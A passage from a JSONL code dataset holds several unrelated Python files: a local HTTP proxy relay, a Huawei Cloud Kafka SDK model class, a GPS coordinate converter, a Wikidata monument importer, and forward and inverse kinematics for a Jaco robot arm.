'142.93.230.147'}\n\nclass GetHandler(BaseHTTPRequestHandler):\n\tdef do_GET(self):\n\t\tparsed_path = self.path\n\n\t\t# Requete vers serveur proxy python\n\t\treq = urllib.request.Request('http://188.166.52.111/'+parsed_path, headers = headers)\n\n\t\t# Proxy SQUID\n\t\thandler = urllib.request.ProxyHandler(proxy)\n\t\topener = urllib.request.build_opener(handler)\n\t\turllib.request.install_opener(opener)\n\n\t\twith urllib.request.urlopen(req) as response:\n\t\t\tthe_page = response.read()\n\n\t\tself.send_response(200)\n\t\tself.end_headers()\n\t\tself.wfile.write(the_page)\n\n\nif __name__ == '__main__':\n\tserver = HTTPServer(('localhost', 8123), GetHandler)\n\tserver.serve_forever()\n\n\n","sub_path":"proxy/proxy_client.py","file_name":"proxy_client.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"543707841","text":"# coding: utf-8\n\nimport six\n\nfrom huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization\n\n\nclass ExtendProductPropertiesEntity:\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n sensitive_list = []\n\n openapi_types = {\n 'max_partition_per_broker': 'str',\n 'max_broker': 'str',\n 'max_storage_per_node': 'str',\n 'max_consumer_per_broker': 'str',\n 'min_broker': 'str',\n 'max_bandwidth_per_broker': 'str',\n 'min_storage_per_node': 'str',\n 'max_tps_per_broker': 'str',\n 'product_alias': 'str'\n }\n\n attribute_map = {\n 'max_partition_per_broker': 'max_partition_per_broker',\n 'max_broker': 'max_broker',\n 'max_storage_per_node': 'max_storage_per_node',\n 'max_consumer_per_broker': 'max_consumer_per_broker',\n 'min_broker': 'min_broker',\n 'max_bandwidth_per_broker': 'max_bandwidth_per_broker',\n 'min_storage_per_node': 'min_storage_per_node',\n 'max_tps_per_broker': 'max_tps_per_broker',\n 'product_alias': 'product_alias'\n }\n\n def __init__(self, max_partition_per_broker=None, max_broker=None, max_storage_per_node=None, max_consumer_per_broker=None, min_broker=None, max_bandwidth_per_broker=None, min_storage_per_node=None, max_tps_per_broker=None, product_alias=None):\n \"\"\"ExtendProductPropertiesEntity\n\n The model defined in huaweicloud sdk\n\n :param max_partition_per_broker: 每个Broker的最大分区数。\n :type max_partition_per_broker: str\n :param max_broker: Broker的最大个数。\n :type max_broker: str\n :param max_storage_per_node: 每个节点的最大存储。单位为GB。\n :type max_storage_per_node: str\n :param max_consumer_per_broker: 每个Broker的最大消费者数。\n :type max_consumer_per_broker: str\n :param min_broker: Broker的最小个数。\n :type min_broker: str\n :param max_bandwidth_per_broker: 每个Broker的最大带宽。\n :type max_bandwidth_per_broker: str\n :param min_storage_per_node: 每个节点的最小存储。单位为GB。\n :type min_storage_per_node: str\n :param max_tps_per_broker: 每个Broker的最大TPS。\n :type max_tps_per_broker: str\n :param product_alias: product_id的别名。\n :type product_alias: str\n \"\"\"\n \n \n\n self._max_partition_per_broker = None\n self._max_broker = None\n self._max_storage_per_node = None\n self._max_consumer_per_broker = None\n self._min_broker = None\n self._max_bandwidth_per_broker = None\n self._min_storage_per_node = None\n self._max_tps_per_broker = None\n self._product_alias = None\n self.discriminator = None\n\n if max_partition_per_broker is not None:\n self.max_partition_per_broker = max_partition_per_broker\n if max_broker is not None:\n self.max_broker = max_broker\n if max_storage_per_node is not None:\n self.max_storage_per_node = max_storage_per_node\n if max_consumer_per_broker is not None:\n self.max_consumer_per_broker = max_consumer_per_broker\n if min_broker is not None:\n self.min_broker = min_broker\n if max_bandwidth_per_broker is not None:\n self.max_bandwidth_per_broker = max_bandwidth_per_broker\n if min_storage_per_node is not None:\n self.min_storage_per_node = min_storage_per_node\n if max_tps_per_broker is not None:\n self.max_tps_per_broker = max_tps_per_broker\n if product_alias is not None:\n self.product_alias = product_alias\n\n @property\n def max_partition_per_broker(self):\n \"\"\"Gets the max_partition_per_broker of this ExtendProductPropertiesEntity.\n\n 每个Broker的最大分区数。\n\n :return: The max_partition_per_broker of this ExtendProductPropertiesEntity.\n :rtype: str\n \"\"\"\n return self._max_partition_per_broker\n\n @max_partition_per_broker.setter\n def max_partition_per_broker(self, max_partition_per_broker):\n \"\"\"Sets the max_partition_per_broker of this ExtendProductPropertiesEntity.\n\n 每个Broker的最大分区数。\n\n :param max_partition_per_broker: The max_partition_per_broker of this ExtendProductPropertiesEntity.\n :type max_partition_per_broker: str\n \"\"\"\n self._max_partition_per_broker = max_partition_per_broker\n\n @property\n def max_broker(self):\n \"\"\"Gets the max_broker of this ExtendProductPropertiesEntity.\n\n Broker的最大个数。\n\n :return: The max_broker of this ExtendProductPropertiesEntity.\n :rtype: str\n \"\"\"\n return self._max_broker\n\n @max_broker.setter\n def max_broker(self, max_broker):\n \"\"\"Sets the max_broker of this ExtendProductPropertiesEntity.\n\n Broker的最大个数。\n\n :param max_broker: The max_broker of this ExtendProductPropertiesEntity.\n :type max_broker: str\n \"\"\"\n self._max_broker = max_broker\n\n @property\n def max_storage_per_node(self):\n \"\"\"Gets the max_storage_per_node of this ExtendProductPropertiesEntity.\n\n 每个节点的最大存储。单位为GB。\n\n :return: The max_storage_per_node of this ExtendProductPropertiesEntity.\n :rtype: str\n \"\"\"\n return self._max_storage_per_node\n\n @max_storage_per_node.setter\n def max_storage_per_node(self, max_storage_per_node):\n \"\"\"Sets the max_storage_per_node of this ExtendProductPropertiesEntity.\n\n 每个节点的最大存储。单位为GB。\n\n :param max_storage_per_node: The max_storage_per_node of this ExtendProductPropertiesEntity.\n :type max_storage_per_node: str\n \"\"\"\n self._max_storage_per_node = max_storage_per_node\n\n @property\n def max_consumer_per_broker(self):\n \"\"\"Gets the max_consumer_per_broker of this ExtendProductPropertiesEntity.\n\n 每个Broker的最大消费者数。\n\n :return: The max_consumer_per_broker of this ExtendProductPropertiesEntity.\n :rtype: str\n \"\"\"\n return self._max_consumer_per_broker\n\n @max_consumer_per_broker.setter\n def max_consumer_per_broker(self, max_consumer_per_broker):\n \"\"\"Sets the max_consumer_per_broker of this ExtendProductPropertiesEntity.\n\n 每个Broker的最大消费者数。\n\n :param max_consumer_per_broker: The max_consumer_per_broker of this ExtendProductPropertiesEntity.\n :type max_consumer_per_broker: str\n \"\"\"\n self._max_consumer_per_broker = max_consumer_per_broker\n\n @property\n def min_broker(self):\n \"\"\"Gets the min_broker of this ExtendProductPropertiesEntity.\n\n Broker的最小个数。\n\n :return: The min_broker of this ExtendProductPropertiesEntity.\n :rtype: str\n \"\"\"\n return self._min_broker\n\n @min_broker.setter\n def min_broker(self, min_broker):\n \"\"\"Sets the min_broker of this ExtendProductPropertiesEntity.\n\n Broker的最小个数。\n\n :param min_broker: The min_broker of this ExtendProductPropertiesEntity.\n :type min_broker: str\n \"\"\"\n self._min_broker = min_broker\n\n @property\n def max_bandwidth_per_broker(self):\n \"\"\"Gets the max_bandwidth_per_broker of this ExtendProductPropertiesEntity.\n\n 每个Broker的最大带宽。\n\n :return: The max_bandwidth_per_broker of this ExtendProductPropertiesEntity.\n :rtype: str\n \"\"\"\n return self._max_bandwidth_per_broker\n\n @max_bandwidth_per_broker.setter\n def max_bandwidth_per_broker(self, max_bandwidth_per_broker):\n \"\"\"Sets the max_bandwidth_per_broker of this ExtendProductPropertiesEntity.\n\n 每个Broker的最大带宽。\n\n :param max_bandwidth_per_broker: The max_bandwidth_per_broker of this ExtendProductPropertiesEntity.\n :type max_bandwidth_per_broker: str\n \"\"\"\n self._max_bandwidth_per_broker = max_bandwidth_per_broker\n\n @property\n def min_storage_per_node(self):\n \"\"\"Gets the min_storage_per_node of this ExtendProductPropertiesEntity.\n\n 每个节点的最小存储。单位为GB。\n\n :return: The min_storage_per_node of this ExtendProductPropertiesEntity.\n :rtype: str\n \"\"\"\n return self._min_storage_per_node\n\n @min_storage_per_node.setter\n def min_storage_per_node(self, min_storage_per_node):\n \"\"\"Sets the min_storage_per_node of this ExtendProductPropertiesEntity.\n\n 每个节点的最小存储。单位为GB。\n\n :param min_storage_per_node: The min_storage_per_node of this ExtendProductPropertiesEntity.\n :type min_storage_per_node: str\n \"\"\"\n self._min_storage_per_node = min_storage_per_node\n\n @property\n def max_tps_per_broker(self):\n \"\"\"Gets the max_tps_per_broker of this ExtendProductPropertiesEntity.\n\n 每个Broker的最大TPS。\n\n :return: The max_tps_per_broker of this ExtendProductPropertiesEntity.\n :rtype: str\n \"\"\"\n return self._max_tps_per_broker\n\n @max_tps_per_broker.setter\n def max_tps_per_broker(self, max_tps_per_broker):\n \"\"\"Sets the max_tps_per_broker of this ExtendProductPropertiesEntity.\n\n 每个Broker的最大TPS。\n\n :param max_tps_per_broker: The max_tps_per_broker of this ExtendProductPropertiesEntity.\n :type max_tps_per_broker: str\n \"\"\"\n self._max_tps_per_broker = max_tps_per_broker\n\n @property\n def product_alias(self):\n \"\"\"Gets the product_alias of this ExtendProductPropertiesEntity.\n\n product_id的别名。\n\n :return: The product_alias of this ExtendProductPropertiesEntity.\n :rtype: str\n \"\"\"\n return self._product_alias\n\n @product_alias.setter\n def product_alias(self, product_alias):\n \"\"\"Sets the product_alias of this ExtendProductPropertiesEntity.\n\n product_id的别名。\n\n :param product_alias: The product_alias of this ExtendProductPropertiesEntity.\n :type product_alias: str\n \"\"\"\n self._product_alias = product_alias\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n if attr in self.sensitive_list:\n result[attr] = \"****\"\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n import simplejson as json\n if six.PY2:\n import sys\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)\n\n def __repr__(self):\n \"\"\"For `print`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, ExtendProductPropertiesEntity):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"huaweicloud-sdk-kafka/huaweicloudsdkkafka/v2/model/extend_product_properties_entity.py","file_name":"extend_product_properties_entity.py","file_ext":"py","file_size_in_byte":12134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"4771586","text":"import os\n\n\nlongitude ='1140.8688S'\nlatitude='02727.9781E'\naltitude='1212.9M'\n\n#convert dd mm.mmm to dd.ddd =dd +mm/60 +mmm/60\n\nnewLong = longitude\n\ncoord=newLong.split('.')\n\nmmmList=coord[1]\nprint(coord[1])\nmmm = mmmList[:-1]\n\nsigne=mmmList[-1:]\nddmm=list(coord[0])\nprint(''.join(ddmm[0:1]))\nif int(''.join(ddmm[0:1]))!=0:\n dd = ''.join(ddmm[0:2])\n mm = ''.join(ddmm[2:])\nelse:\n dd = ''.join(ddmm[1:3])\n mm = ''.join(ddmm[3:])\n\n\n\nprint(str(dd)+' '+str(mm)+' '+str(mmm)+' '+str(signe) +' len'+str(len(mmm)))\n\nconver =int(dd) + (int(mm)/60) +(int(mmm)/(60*(10** len(mmm))))\nif signe=='S' or signe=='W':\n conver *=-1\n\nprint(format(conver,'4f'))","sub_path":"myclasses/gpsd.py","file_name":"gpsd.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"99503950","text":"from Monument import Monument\nimport importer_utils as utils\n\n\nclass EeEt(Monument):\n\n def update_labels(self):\n name = utils.remove_markup(self.nimi)\n self.add_label(\"et\", name)\n\n def set_no(self):\n register_no = str(self.registrant_url.split(\"=\")[-1])\n self.add_statement(\"estonian_monument_id\", register_no)\n\n def set_adm_location(self):\n counties = self.data_files[\"counties\"]\n try:\n county_item = [x[\"item\"]\n for x in counties if x[\"et\"] == self.maakond]\n self.add_statement(\"located_adm\", county_item[0])\n except IndexError:\n return\n\n def __init__(self, db_row_dict, mapping, data_files, existing):\n Monument.__init__(self, db_row_dict, mapping, data_files, existing)\n self.update_labels()\n # self.exists(\"et\")\n self.set_commonscat()\n self.set_image(\"pilt\")\n self.set_coords((\"lat\", \"lon\"))\n self.set_no()\n self.set_adm_location()\n # self.exists_with_prop(mapping)\n self.print_wd()\n","sub_path":"importer/EeEt.py","file_name":"EeEt.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"113153787","text":"import numpy as np\nimport math\n\n\ndef convert_to_angular_velocities(velocities, theta_current, dt):\n velocities = np.matrix([[velocities[0]],\n [velocities[1]],\n [velocities[2]],\n [velocities[3]],\n [velocities[4]],\n [velocities[5]]])\n theta_current = np.matrix([[theta_current[0]],\n [theta_current[1]],\n [theta_current[2]],\n [theta_current[3]],\n [theta_current[4]],\n [theta_current[5]]])\n cartesian_pose, rotation_matrix = jaco_direct_kinematics(theta_current)\n next_cartesian_pose = cartesian_pose + velocities[0:3, 0] * dt\n euler_angles = rotationMatrixToEulerAngles(rotation_matrix)\n next_euler_angles = np.matrix(euler_angles).transpose() + velocities[3:6, 0] * dt\n next_rotation_matrix = eulerAnglesToRotationMatrix([next_euler_angles[0, 0],\n next_euler_angles[1, 0],\n next_euler_angles[2, 0]])\n\n next_theta, success = jaco_inverse_kinematics(theta_current, next_cartesian_pose, next_rotation_matrix)\n # print(next_cartesian_pose, \"next pose\")\n # print(np.unwrap(theta_current), \"theta_current\")\n # print(np.unwrap(next_theta), \"next_theta\")\n # print(np.subtract(np.unwrap(next_theta), np.unwrap(theta_current)), \"theta_diff\")\n # print(dt)\n angular_velocity = np.subtract(np.unwrap(next_theta), np.unwrap(theta_current)) / dt\n\n return angular_velocity\n\n\ndef get_jaco_jacobian(theta, a, d, alpha):\n\n theta1 = theta[0, 0]\n theta2 = theta[1, 0]\n theta3 = theta[2, 0]\n theta4 = theta[3, 0]\n theta5 = theta[4, 0]\n theta6 = theta[5, 0]\n\n a1 = np.matrix([[a[0, 0] * np.cos(theta1)],\n [a[0, 0] * np.sin(theta1)],\n [d[0, 0]]])\n a2 = np.matrix([[a[0, 1] * np.cos(theta2)],\n [a[0, 1] * np.sin(theta2)],\n [d[0, 1]]])\n a3 = np.matrix([[a[0, 2] * np.cos(theta3)],\n [a[0, 2] * np.sin(theta3)],\n [d[0, 2]]])\n a4 = np.matrix([[a[0, 3] * np.cos(theta4)],\n [a[0, 3] * np.sin(theta4)],\n [d[0, 3]]])\n a5 = np.matrix([[a[0, 4] * np.cos(theta5)],\n [a[0, 4] * np.sin(theta5)],\n [d[0, 4]]])\n a6 = np.matrix([[a[0, 5] * np.cos(theta6)],\n [a[0, 5] * np.sin(theta6)],\n [d[0, 5]]])\n\n Q1 = np.matrix([[np.cos(theta1), -np.cos(alpha[0, 0]) * np.sin(theta1), np.sin(alpha[0, 0]) * np.sin(theta1)],\n [np.sin(theta1), np.cos(alpha[0, 0]) * np.cos(theta1), -np.sin(alpha[0, 0]) * np.cos(theta1)],\n [0, np.sin(alpha[0, 0]), np.cos(alpha[0, 0])]])\n Q2 = np.matrix([[np.cos(theta2), -np.cos(alpha[0, 1]) * np.sin(theta2), np.sin(alpha[0, 1]) * np.sin(theta2)],\n [np.sin(theta2), np.cos(alpha[0, 1]) * np.cos(theta2), -np.sin(alpha[0, 1]) * np.cos(theta2)],\n [0, np.sin(alpha[0, 1]), np.cos(alpha[0, 1])]])\n Q3 = np.matrix([[np.cos(theta3), -np.cos(alpha[0, 2]) * np.sin(theta3), np.sin(alpha[0, 2]) * np.sin(theta3)],\n [np.sin(theta3), np.cos(alpha[0, 2]) * np.cos(theta3), -np.sin(alpha[0, 2]) * np.cos(theta3)],\n [0, np.sin(alpha[0, 2]), np.cos(alpha[0, 2])]])\n Q4 = np.matrix([[np.cos(theta4), -np.cos(alpha[0, 3]) * np.sin(theta4), np.sin(alpha[0, 3]) * np.sin(theta4)],\n [np.sin(theta4), np.cos(alpha[0, 3]) * np.cos(theta4), -np.sin(alpha[0, 3]) * np.cos(theta4)],\n [0, np.sin(alpha[0, 3]), np.cos(alpha[0, 3])]])\n Q5 = np.matrix([[np.cos(theta5), -np.cos(alpha[0, 4]) * np.sin(theta5), np.sin(alpha[0, 4]) * np.sin(theta5)],\n [np.sin(theta5), np.cos(alpha[0, 4]) * np.cos(theta5), -np.sin(alpha[0, 4]) * np.cos(theta5)],\n [0, np.sin(alpha[0, 4]), np.cos(alpha[0, 4])]])\n Q6 = np.matrix([[np.cos(theta6), -np.cos(alpha[0, 5]) * np.sin(theta6), np.sin(alpha[0, 5]) * np.sin(theta6)],\n [np.sin(theta6), np.cos(alpha[0, 5]) * np.cos(theta6), -np.sin(alpha[0, 5]) * np.cos(theta6)],\n [0, np.sin(alpha[0, 5]), np.cos(alpha[0, 5])]])\n Q = Q1 * Q2 * Q3 * Q4 * Q5 * Q6\n e1 = np.matrix([[0], [0], [1]])\n e2 = Q1 * e1\n e3 = Q1 * Q2 * e1\n e4 = Q1 * Q2 * Q3 * e1\n e5 = Q1 * Q2 * Q3 * Q4 * e1\n e6 = Q1 * Q2 * Q3 * Q4 * Q5 * e1\n r1 = a1 + Q1 * a2 + Q1 * Q2 * a3 + Q1 * Q2 * Q3 * a4 + Q1 * Q2 * Q3 * Q4 * a5 + Q1 * Q2 * Q3 * Q4 * Q5 * a6\n r2 = Q1 * a2 + Q1 * Q2 * a3 + Q1 * Q2 * Q3 * a4 + Q1 * Q2 * Q3 * Q4 * a5 + Q1 * Q2 * Q3 * Q4 * Q5 * a6\n r3 = Q1 * Q2 * a3 + Q1 * Q2 * Q3 * a4 + Q1 * Q2 * Q3 * Q4 * a5 + Q1 * Q2 * Q3 * Q4 * Q5 * a6\n r4 = Q1 * Q2 * Q3 * a4 + Q1 * Q2 * Q3 * Q4 * a5 + Q1 * Q2 * Q3 * Q4 * Q5 * a6\n r5 = Q1 * Q2 * Q3 * Q4 * a5 + Q1 * Q2 * Q3 * Q4 * Q5 * a6\n r6 = Q1 * Q2 * Q3 * Q4 * Q5 * a6\n\n E = np.matrix([[0, -1, 0], [1, 0, 0], [0, 0, 0]])\n s1 = np.matrix([[1], [0], [0]])\n s2 = np.matrix([[0], [1], [0]])\n s3 = np.matrix([[0], [0], [1]])\n EQ1 = E * Q\n EQ2 = Q1 * E * Q2 * Q3 * Q4 * Q5 * Q6\n EQ3 = Q1 * Q2 * E * Q3 * Q4 * Q5 * Q6\n EQ4 = Q1 * Q2 * Q3 * E * Q4 * Q5 * Q6\n EQ5 = Q1 * Q2 * Q3 * Q4 * E * Q5 * Q6\n EQ6 = Q1 * Q2 * Q3 * Q4 * Q5 * E * Q6\n\n R1 = np.concatenate((EQ1 * s1, EQ2 * s1, EQ3 * s1, EQ4 * s1, EQ5 * s1, EQ6 * s1), axis=1)\n R2 = np.concatenate((EQ1 * s2, EQ2 * s2, EQ3 * s2, EQ4 * s2, EQ5 * s2, EQ6 * s2), axis=1)\n R3 = np.concatenate((EQ1 * s3, EQ2 * s3, EQ3 * s3, EQ4 * s3, EQ5 * s3, EQ6 * s3), axis=1)\n\n Jacobian_temp_1 = np.concatenate((R1, R2, R3), axis=0)\n\n Jacobian_temp_2 = np.column_stack((np.cross(e1.getA1(), r1.getA1()),\n np.cross(e2.getA1(), r2.getA1()),\n np.cross(e3.getA1(), r3.getA1()),\n np.cross(e4.getA1(), r4.getA1()),\n np.cross(e5.getA1(), r5.getA1()),\n np.cross(e6.getA1(), r6.getA1())))\n\n jacobian = np.matrix(np.concatenate((Jacobian_temp_1, Jacobian_temp_2), axis=0))\n return jacobian, Q, s1, s2, s3, r1\n\n\ndef jaco_inverse_kinematics(theta_current, pose_goal, Q_goal):\n\n if theta_current is not np.matrix:\n theta_current = np.matrix(theta_current)\n if pose_goal is not np.matrix:\n pose_goal = np.matrix(pose_goal)\n if Q_goal is not np.matrix:\n Q_goal = np.matrix(Q_goal)\n if theta_current.shape != (6, 1):\n theta_current = theta_current.transpose()\n theta_output = theta_current\n theta_offset = np.matrix([[0], [-np.pi / 2], [np.pi / 2], [2 * np.pi], [np.pi], [np.pi]])\n theta = theta_current\n\n # Parametres physiques du robot Jaco\n D1 = 0.2755\n D2 = 0.41\n D3 = 0.2073\n D4 = 0.0743\n D5 = 0.0743\n D6 = 0.1687\n E2 = 0.0098\n\n # Parametres Intermediaires\n aa = 11 * np.pi / 72\n ca = (np.cos(aa))\n sa = (np.sin(aa))\n c2a = (np.cos(2 * aa))\n s2a = (np.sin(2 * aa))\n d4b = (D3 + (ca - c2a / s2a * sa) * D4)\n d5b = (sa / s2a * D4 + (ca - c2a / s2a * sa) * D5)\n d6b = (sa / s2a * D5 + D6)\n\n a = np.matrix([0, D2, 0, 0, 0, 0])\n d = np.matrix([D1, 0, -E2, -d4b, -d5b, -d6b])\n alpha = np.matrix([np.pi / 2, np.pi, np.pi / 2, 2 * aa, 2 * aa, np.pi])\n\n # #default values\n # Q = np.eye(3)\n # s1 = np.matrix([[1], [0], [0]])\n # s2 = np.matrix([[0], [1], [0]])\n # s3 = np.matrix([[0], [0], [1]])\n # r1 = np.matrix([[1], [0], [0]])\n\n # %XXXXXXXXXXXXXXXXXXXXXX PGI XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n # --- PARAMETRES DE LA FONCTION-----------------------------------------------------\n sample_time = 0.005\n erreur = 0\n epsilon = 10 ** -4\n max_loops = 10\n success = False\n # --- BOUCLE PRINCIPALE ------------------------------------------------------------\n for loops in range(max_loops):\n # not the \"usual\" jacobian we normally use for classic inverse kinematic resolutions.\n jacobian, Q, s1, s2, s3, r1 = get_jaco_jacobian(theta, a, d, alpha)\n #--- PERFORMANCE ACTUELLE - --------------------------------------------------------\n f = np.concatenate(((Q - Q_goal) * s1, (Q - Q_goal) * s2, (Q - Q_goal) * s3, r1 - pose_goal[0:3, 0]), axis=0)\n stop = np.max(np.abs(f)) < epsilon\n if stop:\n #we converged\n success = True\n return theta_output + theta_offset, success\n\n\n # adapted damped jacobian to avoid singularities\n Ek = np.matrix(np.divide(f.transpose() * f, 2.0))\n Wn = np.matrix(np.multiply(np.eye(6), Ek + 0.001))\n Hk = np.matrix(jacobian.transpose() * jacobian + Wn)\n jacobian_inv = Hk.I * jacobian.transpose()\n d_theta = jacobian_inv * f\n theta_output = theta_output - d_theta\n theta = theta_output\n return theta_output + theta_offset, success\n\n\ndef jaco_direct_kinematics(theta_actuators):\n\n if theta_actuators is not np.matrix:\n theta_actuators = np.matrix(theta_actuators)\n if theta_actuators.shape != (6,1):\n theta_actuators = theta_actuators.transpose()\n theta_offset = np.matrix([0, -np.pi / 2, np.pi / 2, 2 * np.pi, np.pi, np.pi])\n theta_actuators = np.subtract(theta_actuators, theta_offset.transpose())\n # Parametres physiques du robot Jaco\n D1 = 0.2755\n D2 = 0.41\n D3 = 0.2073\n D4 = 0.0743\n D5 = 0.0743\n D6 = 0.1687\n E2 = 0.0098\n\n # Parametres Intermediaires\n aa = 11 * np.pi / 72\n ca = (np.cos(aa))\n sa = (np.sin(aa))\n c2a = (np.cos(2 * aa))\n s2a = (np.sin(2 * aa))\n d4b = (D3 + (ca - c2a / s2a * sa) * D4)\n d5b = (sa / s2a * D4 + (ca - c2a / s2a * sa) * D5)\n d6b = (sa / s2a * D5 + D6)\n\n a = np.matrix([0, D2, 0, 0, 0, 0])\n d = np.matrix([D1, 0, -E2, -d4b, -d5b, -d6b])\n alpha = np.matrix([np.pi / 2, np.pi, np.pi / 2, 2 * aa, 2 * aa, np.pi])\n theta1 = theta_actuators[0, 0]\n theta2 = theta_actuators[1, 0]\n theta3 = theta_actuators[2, 0]\n theta4 = theta_actuators[3, 0]\n theta5 = theta_actuators[4, 0]\n theta6 = theta_actuators[5, 0]\n\n a1 = np.matrix([[a[0, 0] * np.cos(theta1)],\n [a[0, 0] * np.sin(theta1)],\n [d[0, 0]]])\n a2 = np.matrix([[a[0, 1] * np.cos(theta2)],\n [a[0, 1] * np.sin(theta2)],\n [d[0, 1]]])\n a3 = np.matrix([[a[0, 2] * np.cos(theta3)],\n [a[0, 2] * np.sin(theta3)],\n [d[0, 2]]])\n a4 = np.matrix([[a[0, 3] * np.cos(theta4)],\n [a[0, 3] * np.sin(theta4)],\n [d[0, 3]]])\n a5 = np.matrix([[a[0, 4] * np.cos(theta5)],\n [a[0, 4] * np.sin(theta5)],\n [d[0, 4]]])\n a6 = np.matrix([[a[0, 5] * np.cos(theta6)],\n [a[0, 5] * np.sin(theta6)],\n [d[0, 5]]])\n\n Q1 = np.matrix([[np.cos(theta1), -np.cos(alpha[0, 0]) * np.sin(theta1), np.sin(alpha[0, 0]) * np.sin(theta1)],\n [np.sin(theta1), np.cos(alpha[0, 0]) * np.cos(theta1), -np.sin(alpha[0, 0]) * np.cos(theta1)],\n [0, np.sin(alpha[0, 0]), np.cos(alpha[0, 0])]])\n Q2 = np.matrix([[np.cos(theta2), -np.cos(alpha[0, 1]) * np.sin(theta2), np.sin(alpha[0, 1]) * np.sin(theta2)],\n [np.sin(theta2), np.cos(alpha[0, 1]) * np.cos(theta2), -np.sin(alpha[0, 1]) * np.cos(theta2)],\n [0, np.sin(alpha[0, 1]), np.cos(alpha[0, 1])]])\n Q3 = np.matrix([[np.cos(theta3), -np.cos(alpha[0, 2]) * np.sin(theta3), np.sin(alpha[0, 2]) * np.sin(theta3)],\n [np.sin(theta3), np.cos(alpha[0, 2]) * np.cos(theta3), -np.sin(alpha[0, 2]) * np.cos(theta3)],\n [0, np.sin(alpha[0, 2]), np.cos(alpha[0, 2])]])\n Q4 = np.matrix([[np.cos(theta4), -np.cos(alpha[0, 3]) * np.sin(theta4), np.sin(alpha[0, 3]) * np.sin(theta4)],\n [np.sin(theta4), np.cos(alpha[0, 3]) * np.cos(theta4), -np.sin(alpha[0, 3]) * np.cos(theta4)],\n [0, np.sin(alpha[0, 3]), np.cos(alpha[0, 3])]])\n Q5 = np.matrix([[np.cos(theta5), -np.cos(alpha[0, 4]) * np.sin(theta5), np.sin(alpha[0, 4]) * np.sin(theta5)],\n [np.sin(theta5), np.cos(alpha[0, 4]) * np.cos(theta5), -np.sin(alpha[0, 4]) * np.cos(theta5)],\n [0, np.sin(alpha[0, 4]), np.cos(alpha[0, 4])]])\n Q6 = np.matrix([[np.cos(theta6), -np.cos(alpha[0, 5]) * np.sin(theta6), np.sin(alpha[0, 5]) * np.sin(theta6)],\n [np.sin(theta6), np.cos(alpha[0, 5]) * np.cos(theta6), -np.sin(alpha[0, 5]) * np.cos(theta6)],\n [0, np.sin(alpha[0, 5]), np.cos(alpha[0, 5])]])\n Q = Q1 * Q2 * Q3 * Q4 * Q5 * Q6\n\n cartesian_pose = a1 + Q1 * a2 + Q1 * Q2 * a3 + Q1 * Q2 * Q3 * a4 + Q1 * Q2 * Q3 * Q4 * a5 + Q1 * Q2 * Q3 * Q4 * Q5 * a6\n\n return cartesian_pose, Q\n\n\n# Calculates Rotation Matrix given euler angles.\ndef eulerAnglesToRotationMatrix(theta):\n R_x = np.array([[1, 0, 0],\n [0, math.cos(theta[0]), -math.sin(theta[0])],\n [0, math.sin(theta[0]), math.cos(theta[0])]\n ])\n\n R_y = np.array([[math.cos(theta[1]), 0, math.sin(theta[1])],\n [0, 1, 0],\n [-math.sin(theta[1]), 0, math.cos(theta[1])]\n ])\n\n R_z = np.array([[math.cos(theta[2]), -math.sin(theta[2]), 0],\n [math.sin(theta[2]), math.cos(theta[2]), 0],\n [0, 0, 1]\n ])\n\n R = np.dot(R_z, np.dot(R_y, R_x))\n\n return R\n\n# Checks if a matrix is a valid rotation matrix.\ndef isRotationMatrix(R):\n Rt = np.transpose(R)\n shouldBeIdentity = np.dot(Rt, R)\n I = np.identity(3, dtype=R.dtype)\n n = np.linalg.norm(I - shouldBeIdentity)\n return n < 1e-6\n\n\n# Calculates rotation matrix to euler angles\n# The result is the same as MATLAB except the order\n# of the euler angles ( x and z are swapped ).\ndef rotationMatrixToEulerAngles(R):\n assert (isRotationMatrix(R))\n\n sy = math.sqrt(R[0, 0] * R[0, 0] + R[1, 0] * R[1, 0])\n\n singular = sy < 1e-6\n\n if not singular:\n x = math.atan2(R[2, 1], R[2, 2])\n y = math.atan2(-R[2, 0], sy)\n z = math.atan2(R[1, 0], R[0, 0])\n else:\n x = math.atan2(-R[1, 2], R[1, 1])\n y = math.atan2(-R[2, 0], sy)\n z = 0\n\n return np.array([x, y, z])\n\n\nif __name__ == '__main__':\n theta = np.array([2, 2, 2, 2, 2, 2])\n old_pose, old_Q = jaco_direct_kinematics(theta)\n print(old_pose)\n theta, success = jaco_inverse_kinematics(theta, old_pose, old_Q)\n theta = (theta + np.pi) % (2 * np.pi) - np.pi\n\n print(theta, success)\n old_pose, old_Q = jaco_direct_kinematics(theta)\n theta, success = jaco_inverse_kinematics(theta, old_pose, old_Q)\n theta = (theta + np.pi) % (2 * np.pi) - np.pi\n print(theta, success)\n old_pose, old_Q = jaco_direct_kinematics(theta)\n theta, success = jaco_inverse_kinematics(theta, old_pose, old_Q)\n theta = (theta + np.pi) % (2 * np.pi) - np.pi\n print(theta, success)\n old_pose, 